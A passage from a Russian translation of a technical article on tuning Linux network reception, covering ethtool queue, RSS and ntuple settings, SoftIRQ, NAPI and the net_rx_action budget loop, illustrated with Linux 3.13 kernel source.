Ошибка, возникающая, если ваша сетевая карта не поддерживает операцию:
```
$ sudo ethtool -l eth0
Channel parameters for eth0:
Cannot get device channel parameters
: Operation not supported
```
Это означает, что драйвер не реализовало операцию ethtool get\_channels. Причина может быть в отсутствии поддержки настройки количества очередей со стороны сетевой карты, в отсутствии поддержки RSS, или у вас слишком старая версия драйвера.
#### Настройка количества очередей приёма
После того, как вы нашли счётчики текущего и максимального количества очередей, вы можете настроить их значения с помощью sudo ethtool -L.
**Примечание:** некоторые устройства и их драйверы поддерживают только комбинированные очереди, — на приём и передачу — как в примере в предыдущей главе.
С помощью ethtool -L назначим 8 комбинированных очередей:
```
$ sudo ethtool -L eth0 combined 8
```
Если ваше устройство и драйвер позволяют отдельно настраивать количество очередей приёма и передачи, то можно отдельно задать 8 очередей приёма:
```
$ sudo ethtool -L eth0 rx 8
```
**Примечание:** у большинства драйверов такие изменения приведут к падению и перезагрузке интерфейса, потому что подключения к нему будут прерваны. Хотя при однократном изменении это не слишком важно.
#### Настройка размера очередей приёма
Некоторые сетевые карты и их драйверы поддерживают настройку размера очереди приёма. Конкретная реализация зависит от оборудования, но, к счастью, ethtool обеспечивает стандартный метод настройки. Увеличение размера позволяет предотвратить отбрасывание сетевых данных при большом количестве входящих фреймов. Правда, данные ещё могут быть отброшены на уровне ПО, так что для полного исключения или снижения отбрасывания необходимо будет провести дополнительную настройку.
Проверка текущего размера очереди сетевой карты с помощью ethtool –g:
```
$ sudo ethtool -g eth0
Ring parameters for eth0:
Pre-set maximums:
RX: 4096
RX Mini: 0
RX Jumbo: 0
TX: 4096
Current hardware settings:
RX: 512
RX Mini: 0
RX Jumbo: 0
TX: 512
```
Выходные данные показывают, что оборудование поддерживает 4096 дескрипторов приёма и передачи, но в данный момент используется 512.
Увеличим размер каждой очереди до 4096:
```
$ sudo ethtool -G eth0 rx 4096
```
**Примечание:** у большинства драйверов такие изменения приведут к падению и перезагрузке интерфейса, потому что подключения к нему будут прерваны. Хотя при однократном изменении это не слишком важно.
#### Настройка веса обработки очередей приёма
Некоторые сетевые карты позволяют настраивать распределение сетевых данных между очередями приёма путём изменения их весов.
Это можно сделать, если:
* Сетевая карта поддерживает косвенную адресацию потока (flow indirection).
* Ваш драйвер реализует функции get\_rxfh\_indir\_size и get\_rxfh\_indir из ethtool.
* У вас работает достаточно новая версия ethtool, поддерживающая опции командной строки -x и -X, соответственно отображающие и настраивающие таблицу косвенной адресации (indirection table).
Проверка таблицы косвенной адресации потока приёма:
```
$ sudo ethtool -x eth0
RX flow hash indirection table for eth3 with 2 RX ring(s):
0: 0 1 0 1 0 1 0 1
8: 0 1 0 1 0 1 0 1
16: 0 1 0 1 0 1 0 1
24: 0 1 0 1 0 1 0 1
```
Здесь слева отображены значения хэшей пакетов и очереди приёма — 0 и 1. Пакет с хэшем 2 будет адресован в очередь 0, а пакет с хэшем 3 — в очередь 1.
Пример: равномерно распределим обработку между первыми двумя очередями приёма:
```
$ sudo ethtool -X eth0 equal 2
```
Если вам нужно настроить кастомные веса, чтобы количество пакетов, адресуемых в конкретные очереди (а следовательно, и CPU), то вы можете сделать это в командной строке с помощью ethtool –X:
```
$ sudo ethtool -X eth0 weight 6 2
```
Здесь очереди 0 присваивается вес 6, а очереди 1 — вес 2. Таким образом, большая часть данных будет обрабатываться очередью 0.
Как мы сейчас увидим, некоторые сетевые карты также позволяют настраивать поля, которые используются в алгоритме хэширования.
#### Настройка полей хэшей приёма для сетевых потоков
С помощью ethtool можно настраивать поля, которые будут участвовать в вычислении хэшей, используемых в RSS.
C помощью ethtool -n проверим, какие поля используются для хэша потока приёма UPD:
```
$ sudo ethtool -n eth0 rx-flow-hash udp4
UDP over IPV4 flows use these fields for computing Hash flow key:
IP SA
IP DA
```
В случае с eth0, для вычисления хэша UDP-потока используется источник IPv4 и адреса назначения. Давайте добавим ещё входящий и исходящий порты:
```
$ sudo ethtool -N eth0 rx-flow-hash udp4 sdfn
```
Значение sdfn выглядит непонятно. Объяснение каждой буквы можно найти на странице автора ethtool man.
Настройка полей хэша довольно полезна, но фильтрование ntuple ещё полезнее и обеспечивает более тонкое управление распределением потоков по очередям приёма.
#### Фильтрование ntuple для управления сетевыми потоками
Некоторые сетевые карты поддерживают функцию «фильтрование ntuple» (ntuple filtering). Она позволяет указывать (посредством ethtool) набор параметров, используемых для фильтрования входных данных на уровне железа и адресации в конкретную очередь приёма. Например, можно прописать, чтобы TCP-пакеты, пришедшие на определённый порт, передавались в очередь 1.
В сетевых картах Intel эта функция обычно называется [Intel Ethernet Flow Director](http://www.intel.com/content/www/us/en/ethernet-products/ethernet-flow-director-video.html). Другие производители могут давать другие названия.
Как мы увидим дальше, фильтрование ntuple — критически важный компонент другой функции, Accelerated Receive Flow Steering (aRFS). Это сильно облегчает использование ntuple, если ваша сетевая карта поддерживает его. aRFS мы рассмотрим позднее.
Эта функция может быть полезна, если операционные требования системы подразумевают максимизацию локальности данных (data locality) ради увеличения частоты успешных обращений (hit rates) к кэшу CPU при обработке сетевых данных. Например, так выглядит конфигурирование веб-сервера, работающего на порте 80:
* Сервер закрепляется за CPU 2.
* Обработка IRQ для очереди приёма закрепляется за тем же CPU.
* TCP-трафик на порт 80 «фильтруется» с помощью ntuple и отправляется на CPU 2.
* Весь входящий трафик на порт 80 обрабатывается этим CPU, начиная с получения данных и вплоть до программ пространства пользователя.
* Для определения эффективности требуется аккуратный мониторинг системы, включая частоту успешных обращений к кэшу и задержку сетевого стека.
Как упоминалось выше, фильтрование ntuple можно настроить с помощью ethtool, но для начала вам нужно удостовериться, что эта функция включена на вашем устройстве. Проверить это можно так:
```
$ sudo ethtool -k eth0
Offload parameters for eth0:
...
ntuple-filters: off
receive-hashing: on
```
Как видите, ntuple-filters в состоянии off.
Включим ntuple-фильтры:
```
$ sudo ethtool -K eth0 ntuple on
```
После их включения или проверки, что фильтры работают, можно проверить настроенные правила:
```
$ sudo ethtool -u eth0
40 RX rings available
Total 0 rules
```
Здесь фильтры не имеют настроенных правил. Вы можете добавить их через командную строку с помощью ethtool. Давайте пропишем, чтобы весь TCP-трафик, приходящий на порт 80, переадресовывался очередь приёма 2:
```
$ sudo ethtool -U eth0 flow-type tcp4 dst-port 80 action 2
```
Фильтрование ntuple можно использовать и для отбрасывания пакетов определённых потоков на аппаратном уровне. Это бывает удобно для снижения нагрузки по трафику от каких-то IP-адресов. Подробнее о конфигурации правил фильтрации читайте man ethtool.
Получать статистику о степени успешности своих ntuple-правил можно с помощью проверки выходных данных ethtool -S [device name]. Например, на сетевых картах Intel fdir\_match и fdir\_miss выдают количество совпадений и промахов правил фильтрования. По вопросам отслеживания статистики своего устройства сверьтесь с исходниками драйвера и спецификацией.
3.2. SoftIRQ
------------
Прежде чем переходить к рассмотрению сетевого стека, нам нужно кратко пройтись по системе SoftIRQ из ядра Linux.
#### Что такое SoftIRQ?
Это механизм исполнения кода вне контекста обработчика прерываний, реализованного драйвером. Данная система важна, потому что аппаратные прерывания могут быть отключены на протяжении всего или части времени исполнения обработчика. Чем дольше отключены прерывания, тем выше вероятность пропустить события. Важно выносить выполнение любых длительных действий за пределы обработчика прерываний, чтобы завершить их как можно скорее и снова включить прерывания от устройства.
Существуют механизмы, которые могут использоваться для откладывания работы в ядре ради нужд сетевого стека. Мы рассмотрим SoftIRQ.
Систему SoftIRQ можно представить в виде серии тредов ядра (по одному на CPU), в которых работают функции-обработчики, зарегистрированные для разных SoftIRQ-событий. Если вы когда-нибудь поднимались наверх и встречали ksoftirqd/0 в списке тредов ядра, то это как раз тред SoftIRQ, выполняющийся на CPU 0.
Подсистемы ядра (например, по работе с сетью) могут регистрировать обработчика SoftIRQ посредством выполнения функции open\_softirq. Дальше мы увидим, как система по работе с сетью регистрирует своих SoftIRQ-обработчиков. А теперь давайте немного поговорим о том, как работает SoftIRQ.
#### ksoftirqd
Поскольку SoftIRQ очень важны для откладывания работы драйверов устройств, то процесс ksoftirqd создаётся в рамках жизненного цикла ядра довольно рано.
Взгляните на код из [kernel/softirq.c](https://github.com/torvalds/linux/blob/v3.13/kernel/softirq.c#L743-L758), показывающий, как инициализируется система ksoftirqd:
```
static struct smp_hotplug_thread softirq_threads = {
.store = &ksoftirqd,
.thread_should_run = ksoftirqd_should_run,
.thread_fn = run_ksoftirqd,
.thread_comm = "ksoftirqd/%u",
};
static __init int spawn_ksoftirqd(void)
{
register_cpu_notifier(&cpu_nfb);
BUG_ON(smpboot_register_percpu_thread(&softirq_threads));
return 0;
}
early_initcall(spawn_ksoftirqd);
```
Как следует из определения struct smp\_hotplug\_thread, регистрируются два указателя функций: ksoftirqd\_should\_run и run\_ksoftirqd.
Обе функции вызываются [kernel/smpboot.c](https://github.com/torvalds/linux/blob/v3.13/kernel/smpboot.c#L94-L163) как часть чего-то, напоминающего цикл события (event loop).
Код в kernel/smpboot.c сначала вызывает ksoftirqd\_should\_run, который определяет, есть ли ожидающие SoftIRQ. Если есть, то выполняется run\_ksoftirqd, которая выполняет некоторые второстепенные вычисления, прежде чем вызвать \_\_do\_softirq.
#### \_\_do\_softirq
Функция \_\_do\_softirq делает несколько интересных вещей:
* Определяет ожидающий SoftIRQ.
* Учитывает для статистики время SoftIRQ.
* Инкрементирует статистику выполнения SoftIRQ.
* Выполняет обработчика для ожидающего SoftIRQ (который был зарегистрирован с помощью вызова open\_softirq).
Так что когда вы смотрите на графики использования CPU и видите softirq или si, то это выполняется измерение объёма ресурсов CPU, которые используются отложенным рабочим контекстом.
#### Мониторинг
#### /proc/softirqs
Система softirq инкрементирует статистические счётчики, которые можно считывать из /proc/softirqs. Мониторинг этой статистики даст вам понимание того, с какой частотой генерируются SoftIRQ для разных событий.
Читаем /proc/softirqs, чтобы мониторить статистику SoftIRQ:
```
$ cat /proc/softirqs
CPU0 CPU1 CPU2 CPU3
HI: 0 0 0 0
TIMER: 2831512516 1337085411 1103326083 1423923272
NET_TX: 15774435 779806 733217 749512
NET_RX: 1671622615 1257853535 2088429526 2674732223
BLOCK: 1800253852 1466177 1791366 634534
BLOCK_IOPOLL: 0 0 0 0
TASKLET: 25 0 0 0
SCHED: 2642378225 1711756029 629040543 682215771
HRTIMER: 2547911 2046898 1558136 1521176
RCU: 2056528783 4231862865 3545088730 844379888
```
Благодаря этому файлу вы поймёте, как на данный момент распределена между процессами обработка входящих сетевых данных (NET\_RX). Если неравномерно, счётчики одних CPU будут иметь значения выше, чем у других. Это показатель того, что вы можете извлечь выгоду из описанных ниже Receive Packet Steering / Receive Flow Steering. Будьте осторожны, полагаясь при мониторинге производительности лишь на этот файл: на протяжении периода высокой сетевой активности вы можете ожидать увеличения NET\_RX, но этого может не произойти. На частоту SoftIRQ NET\_RX могут повлиять дополнительные настройки в сетевом стеке, мы дальше этого коснёмся.
Так вот, будьте осторожны, но если вы измените упомянутые настройки, то изменения можно будет увидеть в /proc/softirqs.
Теперь перейдём к сетевому стеку и посмотрим, как получаемые сетевые данные проходят по нему сверху вниз.
3.3. Подсистема сетевого устройства в Linux
-------------------------------------------
Мы познакомились с работой сетевых драйверов и SoftIRQ, теперь займёмся инициализацией подсистемы сетевого устройства. Затем мы проследим путь следования пакета начиная с его прихода.
#### Инициализация подсистемы сетевого устройства
Подсистема сетевого устройства (netdev) инициализируется в функции net\_dev\_init. В ней вообще происходит много интересного.
#### Инициализация структур struct softnet\_data
net\_dev\_init создаёт набор структур struct softnet\_data для каждого CPU в системе. Эти структуры содержат указатели на несколько важных для обработки сетевых данных вещей:
* Список структур NAPI, которые нужно зарегистрировать для CPU.
* Backlog для обработки данных.
* Вес обработки (processing weight).
* Список структуры [receive offload](https://en.wikipedia.org/wiki/Large_receive_offload).
* Настройки управления принимаемыми пакетами ([Receive packet steering](https://lwn.net/Articles/362339/)).
* И многое другое.
#### Инициализация обработчиков SoftIRQ
net\_dev\_init регистрирует обработчика SoftIRQ приёма и передачи, который будет использоваться для обработки входящих или исходящих сетевых данных. Код довольно простой:
```
static int __init net_dev_init(void)
{
/* ... */
open_softirq(NET_TX_SOFTIRQ, net_tx_action);
open_softirq(NET_RX_SOFTIRQ, net_rx_action);
/* ... */
}
```
Теперь посмотрим, как драйверный обработчик прерываний «поднимет» (или запустит) функцию net\_rx\_action, зарегистрированную на SoftIRQ NET\_RX\_SOFTIRQ.
#### Прибытие данных
Наконец-то прибыли сетевые данные!
Будем считать, что очередь приёма имеет достаточно доступных дескрипторов, так что пакет записывается в память посредством DMA. Затем устройство генерирует приписанное к пакету прерывание (или, в случае с MSI-X, прерывание привязано к очереди приёма, в которую адресуется прибывший пакет).
#### Обработчик прерываний
Выполняемый после генерирования прерывания обработчик, в целом должен пытаться вынести как можно больший объём работы за пределы контекста прерывания. Это критически важно, потому что в ходе обработки одного прерывания другие могут быть заблокированы.
Давайте посмотрим на исходный код обработчика прерываний MSI-X. Это поможет проиллюстрировать идею, что обработчик выполняет минимальный объём работы.
Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L5148-L5158):
```
static irqreturn_t igb_msix_ring(int irq, void *data)
{
struct igb_q_vector *q_vector = data;
/* Пишет значение ITR, вычисленное из предыдущего прерывания. */
igb_write_itr(q_vector);
napi_schedule(&q_vector->napi);
return IRQ_HANDLED;
}
```
Это очень короткий обработчик, и перед возвратом он выполняет две очень быстрые операции.
1. Функция igb\_write\_itr просто обновляет определённый аппаратный регистр. Он используется для отслеживания частоты появления аппаратных прерываний. Регистр используется совместно с аппаратной функцией “Interrupt Throttling” (ещё её называют «объединением прерываний», Interrupt Coalescing), позволяющей подстраивать доставку прерываний CPU. Скоро мы увидим, как ethtool обеспечивает механизм настройки частоты генерирования IRQ.
2. Вызывается napi\_schedule, пробуждающая цикл обработки NAPI, если он ещё не активен. Обратите внимание, что этот цикл исполняется в SoftIRQ, а не обработчика прерываний. Обработчик просто запускает его выполнение, если это ещё не сделано.
Важно увидеть реальный код, демонстрирующий работу вышеописанных операций. Это поможет нам понять, как сетевые данные обрабатываются в многопроцессорных системах.
#### NAPI и napi\_schedule
Давайте посмотрим, как работает вызов napi\_schedule из обработчика аппаратных прерываний.
Как вы помните, NAPI существует именно для сбора сетевых данных без использования прерываний от сетевой карты, сигнализирующих о готовности данных к обработке. Выше упоминалось, что цикл poll загружается (bootstrapped) при получении аппаратного прерывания. Иными словами, NAPI включён, но не активен до тех пор, пока не придёт первый пакет. В этот момент сетевая карта генерирует прерывание и NAPI стартует. Ниже мы рассмотрим и другие случаи, когда NAPI может быть выключен, и прежде чем его запустить, понадобится сгенерировать прерывание.
Цикл poll запускается, когда драйверный обработчик прерываний вызывает napi\_schedule. Это просто функция-обёртка, заданная в заголовочном файле, которая в свою очередь вызывает \_\_napi\_schedule.
Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L4154-L4168):
```
/**
* __napi_schedule – расписание получения
* @n: запись в расписании
*
* Будет задан старт функции получения записи
*/
void __napi_schedule(struct napi_struct *n)
{
unsigned long flags;
local_irq_save(flags);
____napi_schedule(&__get_cpu_var(softnet_data), n);
local_irq_restore(flags);
}
EXPORT_SYMBOL(__napi_schedule);
```
В этом коде для получения структуры softnet\_data, зарегистрированной на текущий CPU, используется \_\_get\_cpu\_var. Данная структура передаётся в \_\_\_\_napi\_schedule вместе со взятой из драйвера структурой struct napi\_struct. Как много нижних подчёркиваний.
Давайте посмотрим на \_\_\_\_napi\_schedule, взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L2914-L2920):
```
/* Вызывается с отключённым IRQ */
static inline void ____napi_schedule(struct softnet_data *sd,
struct napi_struct *napi)
{
list_add_tail(&napi->poll_list, &sd->poll_list);
__raise_softirq_irqoff(NET_RX_SOFTIRQ);
}
```
Этот код делает две важные вещи:
1. Структура struct napi\_struct, взятая из кода драйверного обработчика прерываний, добавляется в poll\_list, прикреплённый к структуре softnet\_data, ассоциированной с текущим CPU.
2. \_\_raise\_softirq\_irqoff используется для запуска SoftIRQ NET\_RX\_SOFTIRQ. В результате начинает выполняться net\_rx\_action, зарегистрированная во время инициализации подсистемы сетевого устройства, если это ещё не сделано.
Как мы скоро увидим, SoftIRQ функция-обработчик net\_rx\_action для сбора пакетов вызовет функцию NAPI poll.
#### Примечание о CPU и обработке сетевых данных
Обратите внимание, что весь код до этого, который переносил работу из обработчика аппаратных прерываний в SoftIRQ, использовал структуры, ассоциированные с текущим CPU.
Поскольку сам драйверный IRQ-обработчик мало что делает, то SoftIRQ-обработчик будет выполняться на том же CPU, что и IRQ-обработчик. Поэтому важно настраивать, каким CPU будет обрабатываться конкретный IRQ: ведь этот CPU будет использован не только для выполнения драйверного обработчика прерываний, но и для сбора пакетов в SoftIRQ посредством NAPI.
Позднее мы увидим, что механизмы наподобие управления принимаемыми пакетами ([Receive Packet Steering](https://lwn.net/Articles/362339/)) могут распределять часть работы по другим CPU в рамках сетевого стека.
#### Мониторинг поступления сетевых данных
#### Запросы аппаратных прерываний
Примечание: мониторинг аппаратных прерываний не даёт полной картины корректности обработки пакетов. Многие драйверы отключают аппаратные прерывания во время работы NAPI. Но всё же это важная часть общего решения мониторинга.
Читаем /proc/interrupts, чтобы мониторить статистику аппаратных прерываний:
```
$ cat /proc/interrupts
CPU0 CPU1 CPU2 CPU3
0: 46 0 0 0 IR-IO-APIC-edge timer
1: 3 0 0 0 IR-IO-APIC-edge i8042
30: 3361234770 0 0 0 IR-IO-APIC-fasteoi aacraid
64: 0 0 0 0 DMAR_MSI-edge dmar0
65: 1 0 0 0 IR-PCI-MSI-edge eth0
66: 863649703 0 0 0 IR-PCI-MSI-edge eth0-TxRx-0
67: 986285573 0 0 0 IR-PCI-MSI-edge eth0-TxRx-1
68: 45 0 0 0 IR-PCI-MSI-edge eth0-TxRx-2
69: 394 0 0 0 IR-PCI-MSI-edge eth0-TxRx-3
NMI: 9729927 4008190 3068645 3375402 Non-maskable interrupts
LOC: 2913290785 1585321306 1495872829 1803524526 Local timer interrupts
```
Мониторя статистику в /proc/interrupts, можно увидеть изменение количества и частоты аппаратных прерываний по мере прибытия пакетов. Также можно удостовериться, что каждая очередь приёма вашей сетевой карты обрабатывается соответствующим CPU. Количество говорит нам лишь о том, сколько было прерываний, но эта метрика **не обязательно** поможет понять, сколько данных было получено или обработано, потому что многие драйверы отключают прерывания сетевой карты в качестве части договора с подсистемой NAPI. Более того, использование объединения прерываний (interrupt coalescing) также влияет на статистику, получаемую из этого файла. Его мониторинг позволяет определить, действительно ли работают выбранные вами настройки объединения прерываний.
Для получения более полного представления о корректности обработки сетевых данных, вам нужно мониторить /proc/softirqs и ещё ряд файлов в /proc. Об этом мы поговорим ниже.
#### Настройка поступления сетевых данных
#### Объединение прерываний
Так называется [метод](https://en.wikipedia.org/wiki/Interrupt_coalescing) предотвращения передачи прерываний из устройства в CPU, пока не наберётся определённое количество событий или объём конкретной работы.
Это помогает избегать «[штормов прерываний](https://en.wikipedia.org/wiki/Interrupt_storm)» и увеличивать пропускную способность или задержку, в зависимости от настроек. Уменьшение количества генерируемых прерываний приводит к повышению пропускной способности и задержки, снижению нагрузки на CPU. С ростом количества прерываний происходит обратное: снижается задержка и пропускная способность, но увеличивается нагрузка на CPU.
Исторически сложилось так, что ранние версии igb, e1000 и ряда других драйверов поддерживали только параметр InterruptThrottleRate. В более свежих версиях его заменили generic функцией из ethtool.
Получение текущих настроек объединения IRQ:
```
$ sudo ethtool -c eth0
Coalesce parameters for eth0:
Adaptive RX: off TX: off
stats-block-usecs: 0
sample-interval: 0
pkt-rate-low: 0
pkt-rate-high: 0
...
```
ethtool предоставляет generic-интерфейс для оперирования настройками объединения. Однако помните, что не каждое устройство или драйвер поддерживают все настройки. Сверьтесь с документацией или исходным кодом, чтобы узнать, что поддерживается в вашем случае. Как сказано в документации к ethtool: «Всё, что не реализовано драйвером, будет тихо игнорироваться».
Некоторые драйверы поддерживают любопытную опцию «адаптивного объединения прерываний приёма/передачи» (adaptive RX/TX IRQ coalescing). Обычно она реализуется в оборудовании. Драйверу нужно проделать некоторую работу, чтобы сообщить сетевой карте о включении этой опции, а также кое-какие вычисления (bookkeeping) (как мы видели ранее в коде драйвера igb).
Включение этой опции позволяет адаптировать количество прерываний для улучшения задержки при небольшом количестве пакетов, и улучшения пропускной способности при большом количестве пакетов.
Включение адаптивного объединения прерываний приёма:
```
$ sudo ethtool -C eth0 adaptive-rx on
```
Можно использовать ethtool -C для настройки нескольких опций. Некоторые из наиболее часто используемых:
* rx-usecs: длительность задержки между прибытием пакета и генерированием прерывания приёма, в миллисекундах.
* rx-frames: максимальное количество фреймов, получаемых до генерирования прерывания приёма.
* rx-usecs-irq: длительность задержки прерывания приёма, пока оно обслуживается хостом, в миллисекундах.
* rx-frames-irq: максимальное количество фреймов, получаемых до генерирования прерывания приёма, пока система обслуживает прерывание.
И есть ещё очень много других.
**Напоминаю**, что ваше оборудование и драйвер могут поддерживать лишь часть опций. Изучите исходный код драйвера и спецификацию сетевой карты.
К сожалению, доступные для настраивания опции плохо документированы везде, кроме заголовочного файла. Обратитесь к исходнику [include/uapi/linux/ethtool.h](https://github.com/torvalds/linux/blob/v3.13/include/uapi/linux/ethtool.h#L184-L255) и найдите объяснение для каждой опции, поддерживаемой ethtool (но не факт, что они поддерживаются вашим драйвером и сетевой картой).
**Примечание:** на первый взгляд объединение прерываний выглядит очень полезной оптимизацией. В некоторых случаях это действительно так, но вам нужно удостовериться, что остальная часть сетевого стека тоже настроена правильно. Одно лишь изменение параметров объединения наверняка принесёт мало пользы.
#### Настройка привязок IRQ
Если ваша карта поддерживает RSS, или если вы пытаетесь оптимизировать локальность данных, ты вам может понадобиться использовать специфический набор CPU для обработки генерируемых картой прерываний.
Это позволяет сегментировать использование CPU. Подобные изменения могут влиять на работу верхних уровней, как мы видели на примере сетевого стека.
Если вы решили настроить привязки IRQ, то сначала проверьте, работает ли демон irqbalance. Он пытается автоматически сбалансировать прерывания и CPU, и потому может перезаписать ваши настройки. Отключите irqbalance, или используйте --banirq вместе с IRQBALANCE\_BANNED\_CPUS, чтобы irqbalance знал, что ему не следует трогать настраиваемый вами набор прерываний и CPU.
Затем проверьте файл /proc/interrupts на наличие списка номеров прерываний для каждой очереди приёма вашей сетевой карты. Наконец, внесите изменения в /proc/irq/IRQ\_NUMBER/smp\_affinity, прописав для каждого номера, какой CPU должен обрабатывать данное прерывание. Просто укажите для этого файла шестнадцатеричную битовую маску, чтобы ядро знало, какие CPU использовать для обработки прерываний.
Пример: настроим привязку IRQ 8 к CPU 0:
```
$ sudo bash -c 'echo 1 > /proc/irq/8/smp_affinity'
```
#### Начало обработки сетевых данных
Когда SoftIRQ-код определяет, какие из SoftIRQ находятся в состоянии ожидания, исполняется net\_rx\_action и начинается процесс обработки сетевых данных.
Давайте на части цикла обработки net\_rx\_action, чтобы понять, как это работает, что можно настроить и мониторить.
#### Цикл обработки net\_rx\_action
net\_rx\_action начинает обработку пакетов из памяти, которые были отправлены туда устройством посредством DMA.
Функция итерирует по списку структур NAPI, стоящих в очереди текущего CPU, поочерёдно извлекает каждую структуру работает с ней.
Цикл обработки ограничивает объём работы и время исполнения зарегистрированных NAPI-функций poll. Он делает это двумя способами:
1. отслеживая рабочий бюджет (work budget) (который можно настраивать),
2. а также проверяет затраченное время.
Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L4300-L4309):
```
while (!list_empty(&sd->poll_list)) {
struct napi_struct *n;
int work, weight;
/* Если исчерпалось окно SoftIRQ - отфутболиваем
* Выполняйте это в течение двух тиков, это позволит сделать
* среднюю задержку на уровне 1.5/Гц.
*/
if (unlikely(budget <= 0 || time_after_eq(jiffies, time_limit)))
goto softnet_break;
```
Таким образом ядро не позволяет обработке пакетов занять все ресурсы CPU. budget — это весь доступный бюджет, который будет разделён на все доступные NAPI-структуры, зарегистрированные на этот CPU.
Это ещё одна причина, почему сетевые карты с несколькими очередями требуют аккуратной настройки привязки IRQ. Вспомните, что на CPU, который обрабатывает прерывания от устройства, будет также выполняться и обработчик SoftIRQ. И в результате на том же CPU работают вышеприведённый цикл и выполняются вычисления бюджета.
Системы с несколькими сетевыми картами, каждая из которых поддерживает несколько очередей, могут оказаться в ситуации, когда на один CPU зарегистрировано несколько NAPI-структур. Обработка данных всех структур на одном CPU «оплачивается» из одного и того же бюджета.
Если вам не хватает CPU для распределения прерываний, то можно увеличить net\_rx\_action budget, чтобы каждый CPU обрабатывал больше пакетов. Увеличение бюджета повлечёт увеличение нагрузки на CPU (в особенности sitime или si в top или других программах), но должно снизить задержку, потому что данные будут обрабатываться быстрее.
**Примечание:** CPU будет ограничен по времени двумя [jiffies](http://elinux.org/Kernel_Timer_Systems#Timer_Wheel.2C_Jiffies_and_HZ_.28or.2C_the_way_it_was.29), вне зависимости от присвоенного бюджета.
#### NAPI-функция poll и weight
Напомню, что драйверы сетевых устройств для регистрации функции poll используют netif\_napi\_add. Как мы видели ранее, драйвер igb содержит такой код:
```
/* инициализация NAPI */
netif_napi_add(adapter->netdev, &q_vector->napi, igb_poll, 64);
```
Здесь регистрируется NAPI-структура, которой в коде прописан вес 64. Давайте посмотрим, как этот вес используется в цикле обработки net\_rx\_action.
Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L4322-L4338):
```
weight = n->weight;
work = 0;
if (test_bit(NAPI_STATE_SCHED, &n->state)) {
work = n->poll(n, weight);
trace_napi_poll(n);
}
WARN_ON_ONCE(work > weight);
budget -= work;
```
Мы получаем вес, зарегистрированный на структуру NAPI, и передаём его в функцию poll, тоже зарегистрированную на структуру NAPI (в приведённом примере igb\_poll).
Функция poll возвращает количество обработанных фреймов. Оно сохраняется в виде work, и потом вычитается из общего budget.
Допустим:
1. вы используете из своего драйвера вес 64 (у всех драйверов в Linux 3.13.0 жёстко прописано это значение),
2. и размер вашего budget по умолчанию 300.
Ваша система **прекратит** обрабатывать данные, если:
1. Функция igb\_poll была вызвана самое большее 5 раз (может быть и меньше, если не обрабатывалось никаких данных, как мы увидим дальше),
2. ИЛИ прошло как минимум 2 jiffies.
#### Договор между NAPI и драйвером сетевого устройства
Пока ещё не упоминалась важная информация, касающаяся договора между подсистемой NAPI и драйверами устройств. Речь об условиях остановки NAPI.
* Если драйверная функция poll расходует весь свой вес (64), она **не должна** изменять состояние NAPI. Вступит в работу цикл net\_rx\_action.
* Если драйверная функция poll **НЕ** расходует весь свой вес, она должна отключить NAPI. NAPI будет снова включён при получении следующего IRQ, когда драйверный обработчик прерываний вызовет napi\_schedule.
Теперь посмотрим, как net\_rx\_action работает с первой частью договора. Затем, после рассмотрения функции poll, выясним, как выполняется вторая часть договора.
#### Завершение цикла net\_rx\_action
Цикл обработки net\_rx\_action завершается секцией кода, которая выполняет первую часть договора с NAPI. Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L4342-L4363):
```
/* Драйверы не должны изменять состояние NAPI, если они
* расходуют весь свой вес. В таких случаях код всё ещё
* «владеет» экземпляром NAPI, и, следовательно, может
* перемещать его по списку по своему желанию.
*/
if (unlikely(work == weight)) {
if (unlikely(napi_disable_pending(n))) {
local_irq_enable();
napi_complete(n);
local_irq_disable();
} else {
if (n->gro_list) {
/* сбрасываем слишком старые пакеты
* Если HZ < 1000, сбрасываем все пакеты.
*/
local_irq_enable();
napi_gro_flush(n, HZ >= 1000);
local_irq_disable();
}
list_move_tail(&n->poll_list, &sd->poll_list);
}
}
```
Если расходуется весь объём работы, то net\_rx\_action обрабатывает две ситуации:
1. Сетевое устройство должно быть выключено (например, потому что пользователь выполнил ifconfig eth0 down).
2. Если устройство **не** выключается, то проверьте, есть ли список generic receive offload (GRO). Если частота таймера ([timer tick rate](http://www.makelinux.net/books/lkd2/ch10lev1sec2)) >= 1000, то все сетевые потоки с GRO, которые недавно обновлялись, будут сброшены. Позднее мы подробнее рассмотрим GRO. NAPI-структура перемещается в конец списка данного CPU, так что следующая итерация цикла получит следующую зарегистрированную NAPI-структуру.
Таким образом цикл обработки пакетов вызывает зарегистрированную драйверную функцию poll, которая займётся обработкой. Дальше мы увидим, что эта функция собирает сетевые данные и отправляет их в стек для дальнейшей обработки.
#### Выход из цикла по достижении ограничений
Выход из цикла net\_rx\_action будет совершён, если:
* список poll, зарегистрированный для данного CPU, больше не содержит NAPI-структур (!list\_empty(&sd->poll\_list)),
* или остаток бюджета <= 0,
* или был достигнут временной предел в два jiffies.
Вот один из вышеприведённых примеров кода
```
/* Если исчерпалось окно SoftIRQ - отфутболиваем.
* Выполняйте это в течение двух тиков, это позволит сделать
* среднюю задержку на уровне 1.5/Гц.
*/
if (unlikely(budget <= 0 || time_after_eq(jiffies, time_limit)))
goto softnet_break;
```
Если вы отследите label softnet\_break, наткнётесь на кое-что интересное. Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L4380-L4383):
```
softnet_break:
sd->time_squeeze++;
__raise_softirq_irqoff(NET_RX_SOFTIRQ);
goto out;
```
Инкрементируется некоторая статистика структуры struct softnet\_data и закрывается SoftIRQ NET\_RX\_SOFTIRQ. Поле time\_squeeze — это количество раз, когда у net\_rx\_action была работа, но бюджета не хватало либо было достигнуто ограничение по времени, прежде чем работа была завершена. Этот счётчик **крайне** полезен для понимания узких мест в сетевой обработке. Скоро мы этого коснёмся. NET\_RX\_SOFTIRQ отключено, чтобы освободить время обработки для других задач. В этом есть смысл, поскольку этот маленький кусок кода выполняется только тогда, когда можно сделать больше работы, но нам не нужно монополизировать CPU.
